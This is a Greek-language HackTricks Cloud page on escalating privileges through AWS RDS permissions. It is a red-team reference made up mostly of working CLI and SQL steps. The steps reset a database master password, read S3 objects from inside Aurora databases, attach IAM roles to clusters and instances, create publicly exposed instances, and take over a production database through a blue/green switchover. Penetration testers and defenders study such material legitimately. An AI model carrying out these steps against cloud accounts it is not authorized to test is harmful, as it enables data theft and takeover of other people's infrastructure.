AWS - RDS Privesc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
RDS - Υπηρεσία Σχεσιακής Βάσης Δεδομένων
Για περισσότερες πληροφορίες σχετικά με το RDS δείτε:
AWS - Relational Database (RDS) Enum
rds:ModifyDBInstance
Με αυτή την άδεια, ένας επιτιθέμενος μπορεί να τροποποιήσει τον κωδικό του κύριου χρήστη, και τα διαπιστευτήρια σύνδεσης μέσα στη βάση δεδομένων:
# Get the DB username, db name and address
aws rds describe-db-instances
# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately
# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>
Warning
Θα χρειαστεί να μπορείτε να επικοινωνήσετε με τη database (συνήθως είναι προσβάσιμες μόνο από εσωτερικά δίκτυα).
Πιθανός αντίκτυπος: Εντοπισμός ευαίσθητων πληροφοριών μέσα στις databases.
rds-db:connect
Σύμφωνα με τα docs ένας χρήστης με αυτή την άδεια μπορεί να συνδεθεί στο DB instance.
Κατάχρηση δικαιωμάτων RDS Role IAM
Postgresql (Aurora)
Tip
Αν εκτελέσετε
SELECT datname FROM pg_database;και βρείτε μια database που ονομάζεταιrdsadmin, τότε ξέρετε ότι βρίσκεστε μέσα σε μια AWS postgresql database.
Πρώτα μπορείτε να ελέγξετε αν αυτή η database έχει χρησιμοποιηθεί για πρόσβαση σε κάποια άλλη υπηρεσία AWS. Μπορείτε να το ελέγξετε κοιτάζοντας τις εγκατεστημένες επεκτάσεις:
SELECT * FROM pg_extension;
Αν βρείτε κάτι όπως aws_s3 μπορείτε να υποθέσετε ότι αυτή η βάση δεδομένων έχει κάποια μορφή πρόσβασης στο S3 (υπάρχουν και άλλες επεκτάσεις όπως aws_ml και aws_lambda).
Επίσης, αν έχετε δικαιώματα να εκτελέσετε aws rds describe-db-clusters μπορείτε να δείτε εκεί αν το cluster έχει οποιονδήποτε IAM Role συνδεδεμένο στο πεδίο AssociatedRoles. Αν υπάρχει, μπορείτε να υποθέσετε ότι η βάση δεδομένων ήταν διαμορφωμένη για πρόσβαση σε άλλες υπηρεσίες AWS. Βάσει του ονόματος του role (ή αν μπορείτε να πάρετε τα permissions του role) μπορείτε να μαντέψετε ποια επιπλέον πρόσβαση έχει η βάση.
Τώρα, για να διαβάσετε ένα αρχείο μέσα σε ένα bucket πρέπει να γνωρίζετε το πλήρες μονοπάτι. Μπορείτε να το διαβάσετε με:
// Create table
CREATE TABLE ttemp (col TEXT);
// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv', // Name of the file
'eu-west-1' //region of the bucket
) AS s3_uri \gset
// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');
// Get info
SELECT * from ttemp;
// Delete table
DROP TABLE ttemp;
Εάν είχατε raw AWS credentials, θα μπορούσατε επίσης να τα χρησιμοποιήσετε για να αποκτήσετε πρόσβαση στα δεδομένα S3 με:
SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);
Note
Postgresql δεν χρειάζεται να αλλάξει καμία μεταβλητή του parameter group για να μπορεί να έχει πρόσβαση σε S3.
Mysql (Aurora)
Tip
Μέσα σε ένα mysql, αν εκτελέσετε το query
SELECT User, Host FROM mysql.user;και υπάρχει ένας χρήστης με όνομαrdsadmin, μπορείτε να υποθέσετε ότι βρίσκεστε μέσα σε μια AWS RDS mysql db.
Μέσα στο mysql τρέξτε show variables; και αν οι μεταβλητές όπως aws_default_s3_role, aurora_load_from_s3_role, aurora_select_into_s3_role έχουν τιμές, μπορείτε να υποθέσετε ότι η βάση δεδομένων είναι προετοιμασμένη για πρόσβαση σε δεδομένα S3.
Επίσης, αν έχετε δικαιώματα να εκτελέσετε aws rds describe-db-clusters, μπορείτε να ελέγξετε αν το cluster έχει κάποιον σχετιζόμενο ρόλο, το οποίο συνήθως σημαίνει πρόσβαση σε υπηρεσίες AWS).
Τώρα, για να διαβάσετε ένα αρχείο μέσα σε ένα bucket χρειάζεται να γνωρίζετε το πλήρες μονοπάτι. Μπορείτε να το διαβάσετε με:
CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;
rds:AddRoleToDBCluster, iam:PassRole
Ένας επιτιθέμενος με τα δικαιώματα rds:AddRoleToDBCluster και iam:PassRole μπορεί να προσθέσει έναν συγκεκριμένο ρόλο σε ένα υπάρχον RDS instance. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να έχει πρόσβαση σε ευαίσθητα δεδομένα ή να τροποποιήσει τα δεδομένα εντός του instance.
aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>
Πιθανός Αντίκτυπος: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις στα δεδομένα στην RDS instance.
Σημειώστε ότι ορισμένα DB απαιτούν επιπλέον ρυθμίσεις, όπως το Mysql, το οποίο χρειάζεται να καθορίσει επίσης το role ARN στις parameter groups.
rds:CreateDBInstance
Ακόμα και μόνο με αυτή την άδεια, ένας attacker θα μπορούσε να δημιουργήσει μια νέα instance μέσα σε ένα cluster που ήδη υπάρχει και έχει IAM role συνημμένο. Δεν θα μπορέσει να αλλάξει τον master user password, αλλά ίσως να καταφέρει να εκθέσει τη νέα database instance στο internet:
aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible
rds:CreateDBInstance, iam:PassRole
Note
TODO: Test
Ένας επιτιθέμενος με τα δικαιώματα rds:CreateDBInstance και iam:PassRole μπορεί να δημιουργήσει ένα νέο RDS instance με έναν συγκεκριμένο ρόλο συνημμένο. Ο επιτιθέμενος στη συνέχεια ενδεχομένως μπορεί να πρόσβαση σε ευαίσθητα δεδομένα ή να τροποποιήσει τα δεδομένα μέσα στο instance.
Warning
Some requirements of the role/instance-profile to attach (from here):
- Το προφίλ πρέπει να υπάρχει στον λογαριασμό σας.
- Το προφίλ πρέπει να έχει ένα IAM role που το Amazon EC2 έχει δικαιώματα να αναλάβει.
- Το όνομα του instance profile και το αντίστοιχο όνομα του IAM role πρέπει να ξεκινούν με το πρόθεμα
AWSRDSCustom.
aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole
Potential Impact: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις των δεδομένων στην RDS instance.
rds:AddRoleToDBInstance, iam:PassRole
Ένας επιτιθέμενος με τα δικαιώματα rds:AddRoleToDBInstance και iam:PassRole μπορεί να προσθέσει έναν καθορισμένο role σε μια υπάρχουσα RDS instance. Αυτό θα μπορούσε να επιτρέψει στον επιτιθέμενο να αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα ή να τροποποιήσει τα δεδομένα εντός της instance.
Warning
Το DB instance πρέπει να βρίσκεται εκτός cluster για αυτό
aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>
Πιθανός Αντίκτυπος: Πρόσβαση σε ευαίσθητα δεδομένα ή μη εξουσιοδοτημένες τροποποιήσεις στα δεδομένα στην RDS instance.
rds:CreateBlueGreenDeployment, rds:AddRoleToDBCluster, iam:PassRole, rds:SwitchoverBlueGreenDeployment
Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να κλωνοποιήσει μια παραγωγική βάση δεδομένων (Blue), να επισυνάψει έναν IAM ρόλο με υψηλά προνόμια στον κλώνο (Green), και στη συνέχεια να χρησιμοποιήσει το switchover για να αντικαταστήσει το παραγωγικό περιβάλλον. Αυτό επιτρέπει στον επιτιθέμενο να ανυψώσει τα προνόμια της βάσης δεδομένων και να αποκτήσει μη εξουσιοδοτημένη πρόσβαση σε άλλους πόρους AWS.
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
Πιθανός Αντίκτυπος: Πλήρης κατάληψη του περιβάλλοντος παραγωγής της βάσης δεδομένων. Μετά τη μεταγωγή, η βάση δεδομένων λειτουργεί με αυξημένα προνόμια, επιτρέποντας μη εξουσιοδοτημένη πρόσβαση σε άλλες υπηρεσίες AWS (π.χ. S3, Lambda, Secrets Manager) από εντός της βάσης δεδομένων.
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

